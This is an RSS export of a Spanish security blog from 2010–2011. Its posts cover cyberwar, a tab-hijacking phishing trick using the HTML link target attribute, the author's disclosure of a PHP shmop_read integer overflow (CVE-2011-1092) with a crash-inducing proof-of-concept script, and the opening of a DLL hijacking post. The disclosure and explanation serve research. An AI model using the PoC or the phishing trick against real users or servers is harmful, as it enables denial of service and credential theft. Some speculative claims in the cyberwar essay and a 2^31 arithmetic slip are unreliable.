<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rooibo</title>
	<atom:link href="http://www.rooibo.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rooibo.com</link>
	<description>El blog de un programador que escribe en sus ratos libres</description>
	<lastBuildDate>Sat, 24 Dec 2011 12:38:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>La ciberguerra: una realidad del siglo XXI</title>
		<link>http://www.rooibo.com/2011/12/24/la-ciberguerra-una-realidad-del-siglo-xxi/</link>
		<comments>http://www.rooibo.com/2011/12/24/la-ciberguerra-una-realidad-del-siglo-xxi/#comments</comments>
		<pubDate>Sat, 24 Dec 2011 12:38:50 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=299</guid>
		<description><![CDATA[El cine y la literatura han conjeturado mucho alrededor de la idea de las guerras del futuro. Alguien dijo alguna vez que la tercera guerra mundial se libraría con palos y piedras, otros imaginaron ovnis o cañones de protones&#8230; por otro lado, existen algunos autores que opinan que las guerras del futuro se librarán en [...]]]></description>
			<content:encoded><![CDATA[<p>El cine y la literatura han conjeturado mucho alrededor de la idea de las <strong>guerras del futuro</strong>. Alguien dijo alguna vez que la tercera guerra mundial se libraría con palos y piedras, otros imaginaron ovnis o cañones de protones&#8230; por otro lado, existen algunos autores que opinan que las guerras del futuro se librarán en <strong>campos de batalla virtuales</strong>.</p>
<p style="text-align: center;"><a href="http://www.rooibo.com/wp-content/uploads/ciberwar.jpg"><img class="aligncenter size-full wp-image-301" title="ciberwar" src="http://www.rooibo.com/wp-content/uploads/ciberwar.jpg" alt="" width="264" height="200" /></a></p>
<p style="text-align: center;">
<div>La realidad siempre supera a la ficción, y en el año 2011 la ciberguerra es toda una realidad. Durante el transcurso de la última década hasta finales de este año, han sucedido una serie de acontecimientos que han dado el pistoletazo de salida para armar ejércitos de hackers, espías y grupos preparados para sabotear, robar o destruir sistemas informáticos enemigos&#8230; pero siempre es mejor empezar las historias por el principio, y como toda buena historia, es difícil saber como empezó la ciberguerra o quien atacó primero, por que en realidad, la ciberguerra es una forma de agresión mas&#8230; dentro de un mar de luchas.</div>
<div>Podríamos decir que todo empezó cuando los ciudadanos del primer mundo empezaron a usar internet de forma masiva para comunicarse, o cuando los gobiernos, empresas e instituciones fueron dependiendo cada vez mas y mas de los ordenadores, pero seguramente el primer paso, lo dio china.</div>
<div>Durante la primera década del siglo XXI se sospechaba que china entrenaba hackers en organizaciones directamente relacionadas con su gobierno, con la esperanza de tenerlos listos para robar información a estados unidos o sus aliados. En el año 2003 Microsoft otorgó de alguna forma (consciente o no) el código fuente de Windows a una empresa de seguridad china llamada Topsec, que se lo habría echo llegar al ejercito de hackers chinos para que pudiesen encontrar mas fácilmente agujeros de seguridad en Windows. Disponer del código original de un programa informático es crucial a la hora de encontrar agujeros de seguridad en el programa, y aunque puede hacerse sin tener el código, es mucho mas complejo, largo y costoso.</div>
<div><a href="http://www.rooibo.com/wp-content/uploads/China-Cyberwar.jpg"><img class="aligncenter size-full wp-image-302" title="China Cyberwar" src="http://www.rooibo.com/wp-content/uploads/China-Cyberwar.jpg" alt="" width="426" height="282" /></a></div>
<div>Al parecer el ejercito de hackers chinos, armados con el código fuente de windows y una fuerte motivación por penetrar en sistemas informáticos claves, comenzó una operación a gran escala penetrando en sistemas informáticos del gobierno de estados unidos y sus aliados y en las principales empresas del mundo.</div>
<div>De esta operación encubierta no se supo nada hasta que en el año 2010 google detectó un fallo en sus sistemas de seguridad y descubrieron que habían accedido a sus sistemas informáticos desde direcciones IP de china utilizando ataques informáticos muy sofisticados, incluyendo uso de exploits 0day que demostrarían que quien realizó el ataque, podría haber tenido acceso al código fuente de windows.</div>
<div>Mas adelante, se descubriría todo el pastel, decenas de empresas de gran tamaño habían sido hackeadas usando las mismas tácticas y por los mismos hackers chinos, bajo lo que symantec llamó <a href="http://www.wired.com/threatlevel/2010/01/operation-aurora/">&#8220;Operación aurora&#8221;</a> que es como creen que llamaron a la operación en china, según pudieron deducir de material incautado y pruebas recogidas en los sistemas comprometidos.</div>
<div>La operación aurora dio mucho que hablar en el mundo de la tecnología, además, en unos cables revelados por wikileaks en el cablegate, se confirmó la sospecha de que <a href="http://techrights.org/2010/12/06/microsoft-topsec-in-china/">Microsoft habría permitido acceso al código fuente de windows a Topsec</a>, empresa de China.</div>
<div>Para mucha gente la cosa quedó en anécdota: china había lanzado un ciberataque contra estados unidos o sus intereses, especialmente empresas, robando información y usando su acceso a google para espiar cuentas de Gmail bajo algo conocido como Operación aurora.</div>
<div>Sin embargo, luego han ido saliendo a la luz mas y mas <a href="http://www.nytimes.com/2010/03/21/world/asia/21grid.html">pruebas</a>, <a href="http://www.theverge.com/2011/12/21/2651748/chinese-hackers-US-chamber-of-commerce">pruebas</a>, y mas <a href="http://www.theverge.com/2011/10/31/2526480/us-satellites-attacked-hackers-chinese-military-nasa">pruebas</a>, de que en realidad china está lanzando un ciberataque en gran escala contra Estados Unidos y sus intereses. Este artículo podría extenderse miles de páginas hablando de sucesos de seguridad relacionados con asaltos de hackers chinos, aparentemente trabajando para el gobierno.</div>
<div>Sin embargo, China no es el único país del mundo que entrena hackers&#8230;</div>
<div>A mediados del año 2010 la empresa de seguridad VirusBlokada con sede en Bielorusia descubre un ejemplar de algo que para ser el virus informático mas sofisticado de la historia, investigando en su código compilado, descubren que hay ciertas iniciales desperdigadas por el código en cadenas de texto, y acaban llamandole &#8220;<a href="http://www.infoworld.com/print/137598">STUXNET</a>&#8220;.</div>
<div>STUXNET es un programa informático que se propaga mediante dispositivos de almacenamiento USB, como &#8220;pen drives&#8221; aprovechando vulnerabilidades hasta entonces desconocidas en Microsoft Windows, una vez infecta el sistema, infectará cualquier pen drive que sea conectado a ese ordenador. Luego, identifica los ordenadores que tiene en su red local, e intenta atacarlos usando otras vulnerabilidades hasta entonces desconocidas en Windows.</div>
<div>STUXNET inserta un driver en windows para controlarlo desde su nucleo, el usuario no es advertido del driver sin firmar que está troyanizando su sistema, ya que SUTXNET utiliza una firma digital de Realtek robada de alguna forma en una operación de espionaje en taiwan.</div>
<div>Lo que hace especial a STUXNET es que el 60% de las infecciones se produjeron en Irán, que coincidió con el proceso de centrifugación de uranio para el plan nuclear Iraní, y sobretodo, que lleva un código especialmente diseñado para atacar sistemas SCADA. Los sistemas SCADA son sistemas digitales diseñados para monitorizar y controlar procesos industriales como potabilización de agua, o centrifugación de uranio. Los sistemas SCADA se conectan como dispositivos a un ordenador que corre Microsoft con un software de Siemenes, que permite el control y gestión del proceso industrial gestionado por el SCADA.</div>
<div><a href="http://www.rooibo.com/wp-content/uploads/stuxnet.jpg"><img class="aligncenter size-full wp-image-303" title="stuxnet" src="http://www.rooibo.com/wp-content/uploads/stuxnet.jpg" alt="" width="450" height="300" /></a></div>
<div>Stuxnet utiliza vulnerabilidades desconocidas hasta la fecha para detectar si el sistema que infecta tiene conectado un sistema SCADA y comprometer su seguridad, tomar el control del SCADA y acelerar y frenar de forma brusca la centrifugadores de uranio conectadas al SCADA.</div>
<div>Según Kaspersky, <a href="http://www.kaspersky.com/about/news/virus/2010/Kaspersky_Lab_provides_its_insights_on_Stuxnet_worm">STUXNET solo pudo haber sido desarrollado con los recursos de una nación o gobierno</a>, que su nivel de sofisticación y especial interés en sabotear sistemas SCADA lo sitúan claramente en Estados Unidos o Israel.</div>
<div>STUXNET hizo algún daño al proceso de centrifugado de Irán, y algunas centrifugadoras, presuntamente cientos, fueron reemplazadas de emergencia debido a fallos provocados por STUXNET. Aunque puede que nunca sepamos a ciencia cierta quien desarrolló STUXNET y con que medios y motivaciones, pero la realidad es que posiblemente ralentizó el programa nuclear Iraní, sin una sola bala.</div>
<div>Y si todo esto suma tensión a la situación de inminente ciberguerra, la cosa no termina aquí.</div>
<div>A finales del 2011 salió a la luz la noticia de que Estados Unidos estaría volando un DRONE (Avión no tripulado) de espionaje en zona aerea de Irán, cuando fue hackeado, lo hicieron aterrizar y <a href="http://www.dailymail.co.uk/news/article-2075157/Iran-claims-hacked-US-spy-planes-GPS-guided-aircraft-ground.html">consiguieron robar así un aparato que vale decenas de millones de dólares</a> y cuyo diseño era totalmente secreto.</div>
<div><a href="http://www.rooibo.com/wp-content/uploads/us-drone-iran.jpg"><img class="aligncenter size-full wp-image-304" title="us-drone-iran" src="http://www.rooibo.com/wp-content/uploads/us-drone-iran.jpg" alt="" width="484" height="325" /></a></div>
<div>¿Es posible hackear un DRONE que usa protocolos  cifrados y sistemas super seguros, con diseños y tecnologías secretas?</div>
<div>Posiblemente nunca lo sepamos, pero el DRONE aterrizó en Irán suavemente y sin daños, quizás fue un hackeo, quizás una operación de espionaje, o según empieza a ser habitual ya, quizás fue una combinación de ambas.</div>
<div>Al final, todos estos sucesos y una infinidad mas, como el <a href="http://www.fayerwayer.com/2011/11/hackers-atacan-sistema-de-tratamiento-de-aguas-en-estados-unidos/">ataque de Rusia a un sistema de tratamiento de aguas de estados unidos</a>, o muchos otros solo terminan por demostrar que la ciberguerra es hoy en día una herramienta utilizada por los gobiernos para mermar o destruir sistemas o servicios del enemigo, con la esperanza de ganar ventajas competitivas o dañar la capacidad de defensa o abastecimiento del enemigo.</div>
<div>La ciberguerra solo es una forma mas que disponen hoy en día los países para atacar a sus enemigos y defender sus intereses, de hecho, prueba de esto es que Estados Unidos ha reconocido oficialmente la ciberguerra como teatro de operaciones, la <a href="http://es.wikipedia.org/wiki/Guerra_inform%C3%A1tica">ciberguerra es ya un termino recogido por wikipedia</a>, en el 2008 antes del cable de wikileaks que desvelaría el asunto de Topsec, ya le veían <a href="http://www.publico.es/ciencias/61494/internet-nuevo-campo-de-batalla">las orejas al lobo en Estados Unidos</a> y se hablaba de que china les atacaría usando hackers.</div>
<p>Ni los gobiernos ni las empresas están preparados para esta guerra, <a href="http://en.wikipedia.org/wiki/Kylin">china es el único que ha hecho los deberes y tiene su propio sistema operativo creado por ellos</a> y según sus palabras &#8220;invulnerable&#8221; que ha instalado en todos sus sistemas críticos. Le han llamado Kylin y está basado en FreeBSD con una capa de seguridad adicional, desarrollada por Instituto de Denfensa Nacional Chino.</p>
<div>La realidad es que luchar en esta guerra sin un sistema operativo que sepas que es seguro, y del cual el enemigo sepa lo mínimo, es un suicidio. China lo sabe y tiene la esperanza de aunque Kylin está basado en FreeBSD su capa de seguridad adicional le protegerá de vulnerabilidades que hackers americanos conozcan en FreeBSD.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2011/12/24/la-ciberguerra-una-realidad-del-siglo-xxi/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tab Hijacking: phishing en estado puro</title>
		<link>http://www.rooibo.com/2011/11/02/tab-hijacking-phishing-en-estado-puro/</link>
		<comments>http://www.rooibo.com/2011/11/02/tab-hijacking-phishing-en-estado-puro/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 14:51:36 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=288</guid>
		<description><![CDATA[Una de las cosas que mas preocupa a los usuarios de internet de hoy en día es el phishing. Existen centenares de páginas web que imitan la portada de paypal, ebay, páginas de banca electrónica etc.
Históricamente este tipo de páginas han hecho uso de todos los mecanismos posibles para engañar al usuario y hacerle creer [...]]]></description>
			<content:encoded><![CDATA[<p>Una de las cosas que mas preocupa a los usuarios de internet de hoy en día es el <a href="http://en.wikipedia.org/wiki/Phishing">phishing</a>. Existen centenares de páginas web que imitan la portada de paypal, ebay, páginas de banca electrónica etc.</p>
<p>Históricamente este tipo de páginas han hecho uso de todos los mecanismos posibles para engañar al usuario y hacerle creer que está en una página legitima y que debe introducir sus credenciales. Una técnica habitual hoy en día es el tabnabing, que consiste en cargar una página normal y corriente, con un blog por ejemplo, y cuando la página pierde el foco, reemplazarla por una página idéntica a gmail, con favicon incluido.</p>
<p>La carrera por el phishing ha llegado a tal punto, que los timadores han desarrollado todo un arsenal de trucos sucios y rebuscados para hacerte creer que estás en gmail.com y no en una web que lo suplanta.</p>
<p>Una manera habitual utilizada por los usuarios (y casi la única para un usuario de a pie) de comprobar que están interactuando con gmail.com y no con una web que lo suplanta, es comprobar la barra de direcciones (URL).</p>
<p>Comprobar la URL para ver que el dominio coincide antes de introducir los credenciales suele ser una buena idea, sin emargo, durante la investigación de un bug muy extraño en una página web (no relacionado con todo esto) se me ha ocurrido una manera curiosa e ingeniosa de engañar al usuario, incluso si este comprueba la URL.</p>
<p>El truco se apoya en una funcionalidad &#8220;poco&#8221; conocida de HTML. En HTML es posible enlazar a una página en otro dominio y forzar a que se abra en una ventana/pestaña nueva. Cuando el usuario hace click en el enlace, se abre una nueva ventana o pestaña (depende de la configuración) con la web enlazada.</p>
<p>Los enlaces en HTML se hacen usando la etiqueta anchor, que tiene la forma típica:</p>
<blockquote><p>&lt;a href=&#8221;http://gmail.com&#8221;&gt;go to gmail!&lt;/a&gt;</p></blockquote>
<p>Sin embargo, anchor tiene un atributo llamado target que sirve para especificar de que forma se va a abrir este enlace, en una nueva ventana, en la misma, etc.</p>
<p>Si utilizamos un valor arbitrario para target, como por ejemplo &#8220;lol&#8221;, y creamos un enlace del tipo:</p>
<blockquote><p>&lt;a href=&#8221;http://gmail.com&#8221; target=&#8221;lol&#8221;&gt;go to gmail!&lt;/a&gt;</p></blockquote>
<p>El enlace se abre en una nueva ventana. Pero si se hace click en otro enlace que tenga también definido target al mismo valor, en lugar de abrirse otra nueva ventana/pestaña, se redirecciona la pestaña abierta originalmente.</p>
<p>Esto abre las puertas a un ataque en el cual el usuario hace click en un enlace que le lleva a gmail.com, el usuario comprueba la URL y es efectivamente gmail.com. Sin embargo, al hacer click en el enlace y abrirse gmail.com, la página original desde la que el usuario ha llegado a gmail.com, se ha quedado abierta en otra pestaña/ventana. Entonces, se activa un temporizador que en X segundos redirecciona gmail.com a otra web, con el aspecto de gmail, pero que le dice que la sesión ha expirado.</p>
<p>Esta redirección puede llegar a ser MUY rápida e invisible para el usuario,  que volvería a introducir los credenciales ya que ya comprobó la url.</p>
<p>La explicación es un poco compleja, así que un ejemplo vale mas que mil palabras:</p>
<p><a href="http://www.rooibo.com/wp-content/uploads/index.html">Ejemplo de tab hijacking</a>.</p>
<p>Si hacéis click en el ejemplo, veréis un enlace a gmail, al presionarlo se abrirá gmail.com en una nueva ventana/pestaña. Si os quedáis mirando gmail durante unos segundos (8 segundos) veréis que de pronto y sin tocar nada la página que estáis viendo (gmail.com) es sustituida por php.net, sin previo aviso ni interacción por parte del usuario.</p>
<p>El cambio de gmail.com a php.net es MUY obvio, pero el cambio de gmail.com a un dominio malicioso con apariencia de gmail no es tan obvio, y puede suceder en milisegundos.</p>
<p>El problema de este tipo de tricks es que es muy difícil evitarlos sin comprometer la usabilidad del navegador.</p>
<p>Debido a que esto no es un error de seguridad al uso, he decidido publicarlo para abrir debate sobre si esto es realmente peligroso usado malintencionadamente, o si por el contrario pensáis que es inofensivo: aunque creo que cualquiera que vea un ejemplo mas arriesgado con un gmail y una web que imita gmail y que carga en 100ms, estará bastante convencido de que es arriesgado.</p>
<p>Con la web cada vez mas rica en funcionalidades y navegadores cada vez mas potentes, empieza a ser muy difícil mantener protegido y aislado al usuario, especialmente contra ataques phishing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2011/11/02/tab-hijacking-phishing-en-estado-puro/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Integer overflow en PHP </title>
		<link>http://www.rooibo.com/2011/03/12/integer-overflow-en-php-2/</link>
		<comments>http://www.rooibo.com/2011/03/12/integer-overflow-en-php-2/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 17:20:41 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=279</guid>
		<description><![CDATA[Para los que no lo conozcan, PHP es un lenguaje de scripting que permite desarrollar páginas web dinámicas. En los últimos años ha ido ganando cada vez mas protagonismo, y sitios como wikipedia, facebook o wordpress están desarrollados utilizando PHP.
En sus inicios, PHP no era mas que un conjunto de scripts en perl que funcionaban [...]]]></description>
			<content:encoded><![CDATA[<p>Para los que no lo conozcan, PHP es un lenguaje de scripting que permite desarrollar páginas web dinámicas. En los últimos años ha ido ganando cada vez mas protagonismo, y sitios como wikipedia, facebook o wordpress están desarrollados utilizando PHP.</p>
<p>En sus inicios, PHP no era mas que un conjunto de scripts en perl que funcionaban a modo de CGI. Hoy en día, PHP es un lenguaje con motor propio, llamado Zend, disponible para gran cantidad de sistemas operativos y plataformas. Uno de los puntos mas interesantes de PHP es las posibilidades que ofrece para crear entornos controlados. PHP permite ser instalado para ejecutarse como módulo de apache y correr con los privilegios de apache los scripts PHP que necesite ejecutar. Existe la posibilidad de configurar el motor de PHP para que no permita a los scripts operar fuera de unos directorios controlados, utilizar ciertas funciones o consumir mas de una cantidad determinada de recursos.</p>
<p>Estas funcionalidades de control sobre lo que hacen o dejan de hacer los scripts PHP han permitido la aparición de numerosos servidores que ofrecen hosting compartido para scripts PHP, pues utilizan estas funcionalidades para controlar que un cliente no afecta ni altera datos de otro cliente.</p>
<p>En la actualidad, estas funcionalidades son imprescindibles, no solo por los hostings compartidos, sino por la gran cantidad de agujeros de seguridad que se encuentran día tras día en scripts PHP populares, como foros, blogs, libros de visitas, scripts de noticias etc. PHP no puede garantizar que cada desarrollador del mundo haga bien su trabajo, y por eso ofrece estas funcionalidades para enjaular al máximo cada script, presuponiendo que alguno estará mal hecho.</p>
<p>Algunas de estas funcionalidades de control son <a href="http://www.php.net/manual/en/features.safe-mode.php">open_basedir y safemode</a>, entre otras. Muchas de estas funcionalidades no se recomiendan desde PHP, debido a que es muy difícil para PHP controlar todo lo que hace un script, para garantizar que no accede a donde no debe. Aún y así, hoy en día es una funcionalidad extensivamente utilizada.</p>
<p>Como consecuencia de estas medidas de control, han surgido una gran cantidad de agujeros de seguridad que desde un script PHP provocan errores en el motor Zend para terminar ejecutando código arbitrario, o provocar errores que dejen offline al servidor, o consuman mas recursos de los autorizados por el motor.</p>
<p>Este tipo de errores están pensados para ser ejecutados una vez se tiene acceso para ejecutar código PHP, y solo sirven para saltarse las restricciones del motor y conseguir acceso al sistema, o bien conseguir su mal funcionamiento. No deben confundirse con errores en los propios scripts PHP que permitan acceso a la base de datos o similares.</p>
<p>Durante el fin de semana pasado estube leyendo el código fuente de PHP con la intención de encontrar alguno de estos errores. PHP está desarrollado en C y sigue un modelo de plugins o extensiones. Al descargar el código tienes el motor en un directorio llamado Zend, y las extensiones base en un directorio llamado ext. Casi todas las funciones de PHP son parte de una extensión y no del core en si mismo, incluidas las funciones fsockopen, o fopen, o explode, todas son parte de extensiones.</p>
<p>Durante el fin de semana que estuve auditando PHP, me centré en las extensiones mas susceptibles de fallos, empecé estudiando GD, pero enseguida me di cuenta que era inmensa, y que atacar por ahí me llevaría demasiado tiempo. Poco después me fijé en <a href="http://php.net/manual/en/book.shmop.php">shmop</a>.</p>
<p>Shmop es una extensión de php, incluída en PHP por defecto, que permite crear zonas de memoria compartida. La función que llamó mi atención fue <a href="http://es.php.net/manual/en/function.shmop-read.php">shmop_read</a>, que permite dado un identificador de una región de memoria compartida, leer una cantidad de datos especificada, a partir de un desplazamiento especificado.</p>
<p>Es decir, supongamos que creamos una región de memoria compartida con shmop_open. Le damos un tamaño de 5 bytes e introducimos el texto &#8220;mundo&#8221; utilizando shmop_write. A continuación al utilizar shmop_read con el identificar de esa memoria compatida, podríamos leer &#8220;ndo&#8221; leyendo 3 bytes, con desplazamiento 2. O bien leer &#8220;do&#8221; leyendo 2 bytes con desplazamiento 3.</p>
<p>La función shmop_read está declarada así:</p>
<blockquote><p>string <strong>shmop_read</strong> ( int <tt>$shmid</tt> , int <tt>$start</tt> , int <tt>$count</tt> )</p></blockquote>
<p>El  primer parámetro es el identificador de la zona de memoria compartida a  leer. El segundo, es desde donde leer (el desplazamiento), y el último  parámetro es la cantidad de bytes a leer.</p>
<p>Es la típica función de lectura con un parámetro para la cantidad a leer, y otro para &#8220;desde donde&#8221; leer, contando desde el inicio de la memoria compartida apuntada por el identificador proporcionado. Si pudiésemos especificar una cantidad de bytes a leer superior a la que hay en la región de memoria compartida, podríamos leer memoria arbitraria de PHP. O bien, si pudiésemos especificar un desplazamiento superior al tamaño de la memoria compartida, también podríamos leer memoria arbitraria de PHP.</p>
<p>Sin embargo, a priori la función shmop_read se encarga de comprobar ese tipo de cosas:</p>
<blockquote><p>if (start &lt; 0 || start &gt; shmop-&gt;size) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;start is out of range&#8221;);<br />
RETURN_FALSE;</p>
<p>}</p>
<p>if (start + count &gt; shmop-&gt;size || count &lt; 0) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;count is out of range&#8221;);<br />
RETURN_FALSE;<br />
}</p></blockquote>
<p>Primero se comprueba que start no sea menor que 0, que no tendría sentido, luego se comprueba que start no sea mayor que el tamaño de la memoria compartida que pretendemos leer. Por lo que el parámetro start de shmop_read, es seguro. No se puede especificar un valor de desplazamiento mayor que el tamaño de la memoria compartida en si misma.</p>
<p>El segundo parámetro, la cantidad de bytes a leer, es comprobado en el segundo if. Primero se comprueba que start + count no sean mayores que el tamaño de la memoria compartida en si misma. De esta forma, cualquier combinación de desplazamiento y cantidad de datos a leer, devolvería una porción de memoria dentro de la región de memoria compartida. Luego el if comprueba que count no sea negativo, lo cual no tendría sentido.</p>
<p>A priori este código es seguro. Su misión es controlar que los parámetros &#8220;start&#8221; y &#8220;count&#8221; de shmop_read no provocan que php lea fuera de la región de memoria compartida apuntada por el identificador proporcionado. Sin embargo, el problema reside en que tanto start como count están declarados así:</p>
<blockquote><p>long shmid, start, count;</p></blockquote>
<p>Si el servidor es de 32 bits, en el lenguaje C, long es un entero con signo de 32 bits. Eso quiere decir que el primer bit se reserva para el signo. Eso significa que el valor máximo que puede contener count o start es 2^31, es decir, 31bits todos a 1. Superado este valor, el bit que estaba reservado para el signo, se pondrá a 1, lo cual significa que el número es negativo.</p>
<p>Esto significa que si en count ponemos como valor exactamente 2^31, es decir 2147483647, y en start ponemos 1, la cosa queda así:</p>
<blockquote><p>if (start &lt; 0 || start &gt; shmop-&gt;size) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;start is out of range&#8221;);<br />
RETURN_FALSE;</p>
<p>}</p></blockquote>
<p>Superamos este condicional, pues start = 1, por lo que ni es menor que 0, ni mayor que la memoria compartida que pretendemos leer.</p>
<p>A continuación:</p>
<blockquote><p>if (start + count &gt; shmop-&gt;size || count &lt; 0) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;count is out of range&#8221;);<br />
RETURN_FALSE;<br />
}</p></blockquote>
<p>start + count = 2^31 + 1, o lo que es lo mismo: 2147483647+1 = -2147483647.</p>
<p>Por que un número negativo? Por que al superar los 31 bits, y convertirse en un número de 32 bits, el bit reservado para el signo se ha puesto a 1, indicando que el número es negativo. Por lo que -2147483647 nunca será mayor que la memoria compartida que pretendemos leer. La segundo parte del condicional comprueba que count por si solo no sea menor que 0. count por si solo es 2^31, un número positivo muy grande, mucho mayor que 0.</p>
<p>Hemos superado el condicional pese a haber especificado un tamaño gigante en count, mucho mayor que el área de memoria compartida que pretendemos leer, gracias a un integer overflow.</p>
<p>Debajo de los condiconales, hay:</p>
<blockquote><p>startaddr = shmop-&gt;addr + start;<br />
bytes = count ? count : shmop-&gt;size &#8211; start;</p>
<p>return_string = emalloc(bytes+1);<br />
memcpy(return_string, startaddr, bytes);<br />
return_string[bytes] = 0;</p>
<p>RETURN_STRINGL(return_string, bytes, 0);</p></blockquote>
<p>Se reserva memoria para leer el tamaño especificado por count, que es 2^31, es decir, 2gb, y luego se hace un memcpy de 2gb empezando por la dirección de memoria de la región de memoria compartida. Obviamente, la región de memoria de PHP es mucho menor que 2gb, y al intentar hacer ese memcpy, se provoca una violación de segmento.</p>
<p>Una llamada a ltrace, revela:</p>
<blockquote><p>malloc(2147745792)                                                                                                                                  = 0&#215;35cbd008<br />
memcpy(0&#215;35cbd024, &#8220;&#8221;, 2147483647 &lt;unfinished &#8230;&gt;<br />
&#8212; SIGSEGV (Segmentation fault) &#8212;<br />
+++ killed by SIGSEGV +++</p></blockquote>
<p>Como vemos, se reservan 2^31 bytes, y se intentan copiar a saco dentro de 0&#215;35cbd024, que es el puntero que luego se devolverá hacia el script php que ha ejecutado shmop_read.</p>
<p>Si por algún motivo, no se saliese de la memoria de PHP, por ejemplo por que previamente se haya reservado esa cantidad de memoria y los planetas se hayan alineado un poco, se recuperaría en el script php 2gb de memoria raw, con cualquier tipo de información.</p>
<p>Para reproducir el fallo, basta con un simple script php:</p>
<blockquote><p>lol@mickeymouse:~$ cat lol.php</p>
<p>&lt;?php<br />
//PHP &lt;= 5.3.5 Integer overflow (CVE-2011-1092)</p>
<p>//discovered by Jose Carlos Norte (jcarlos.norte@gmail.com)<br />
//<br />
$shm_key = ftok(__FILE__, &#8216;t&#8217;);<br />
$shm_id = shmop_open($shm_key, &#8220;c&#8221;, 0644, 100);<br />
$shm_data = shmop_read($shm_id, 1, 2147483647);<br />
//if there is no segmentation fault past this point, we have 2gb of memory!<br />
echo $shm_data;<br />
?&gt;<br />
lol@mickeymouse:~$ php lol.php<br />
Segmentation fault<br />
lol@mickeymouse:~$</p></blockquote>
<p>El error termina por provocar una violación de segmento y PHP muere. Este error a priori parece no muy explotable, y su peligrosidad es muy reducida, podría permitir algún memory disclossure en algún entorno muy concreto, o provocar denegaciones de servicio en servidor compartidos, depende de la configuración del servidor web.</p>
<p>Es muy interesante en cambio para ilustrar como se encuentra un bug de seguridad en software real, y lo desapercibido que puede pasar un problema de seguridad como este, que en muchos casos, termina en problemas mas graves y sobretodo mas explotables.</p>
<p>Tras estar en contacto con el equipo de seguridad de PHP, que por cierto son muy rápidos y efectivos, el problema está solucionado en el SVN y en PHP 5.3.6 que será liberada inminentemente.</p>
<p>En principio había decidido no publicar nada hasta la publicación de PHP 5.3.6, pero a partir del commit en el SVN de PHP, y de la petición de un número CVE, la noticia ha corrido como la polvora, y me encuentro con este <a href="http://www.securityfocus.com/bid/46786/info">advisory en bugtraq</a>, increíble.</p>
<p>Menos mal que el error no es totalmente grave, pero esto me da que pensar sobre como gestionar la información de seguridad en proyectos con SVN públicos, donde la gente ve los commits día a día&#8230;es difícil, sobretodo es difícil que no salte a bugtraq antes que la release que arregla el problema, pero bueno.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2011/03/12/integer-overflow-en-php-2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Toda la verdad sobre Dll Load Hijacking</title>
		<link>http://www.rooibo.com/2010/08/29/toda-la-verdad-sobre-dll-load-hijacking/</link>
		<comments>http://www.rooibo.com/2010/08/29/toda-la-verdad-sobre-dll-load-hijacking/#comments</comments>
		<pubDate>Sun, 29 Aug 2010 18:14:25 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[dll]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows seguridad dll]]></category>

		<guid isPermaLink="false">http://www.rooibo.com/?p=273</guid>
		<description><![CDATA[Siguiendo con el tema de mi anterior post sobre Dll Load Hijacking, me he decidido a escribir un segundo post, mucho mas técnico que el anterior, solo para desmentir algunas de las cosas que se están diciendo por ahí, y aclarar todo el tema. Si no sabes de que va esto, pero te interesa, te [...]]]></description>
			<content:encoded><![CDATA[<p>Siguiendo con el tema de mi anterior post sobre <a href="http://www.rooibo.com/2010/08/28/windows-es-estos-dias-mucho-mas-inseguro-que-nunca/">Dll Load Hijacking</a>, me he decidido a escribir un segundo post, mucho mas técnico que el anterior, solo para desmentir algunas de las cosas que se están diciendo por ahí, y aclarar todo el tema. Si no sabes de que va esto, pero te interesa, te recomiendo que leas el <a href="http://www.rooibo.com/2010/08/28/windows-es-estos-dias-mucho-mas-inseguro-que-nunca/">primer post sobre el tema</a>.</p>
<p>Tal como expliqué, el Dll Load Hijacking consiste en conseguir que una aplicación cargue una DLL (que podría ser maliciosa) en el momento en que la aplicación abre un fichero. O dicho de otra forma, tu abres un fichero png con photoshop, y el photoshop carga una DLL que hay al lado del png, y que es maliciosa.</p>
<p>Si se dispone del escenario correcto, se puede conseguir ejecutar código en el sistema de la víctima, solo con que abra un fichero doc, odt, png, o cualquier otro inofensivo fichero de datos.</p>
<p>Mucha gente a favor de microsoft, está argumentando que este problema de seguridad, no es culpa de windows, sino de las aplicaciones vulnerables, en mi ejemplo el photoshop. Sin embargo la realidad es bien distinta, y aunque esté habiendo un poco de campaña tanto para quitarle peso a este asunto, como para limpiar la cara de Microsoft, la verdad acaba saliendo siempre a relucir.</p>
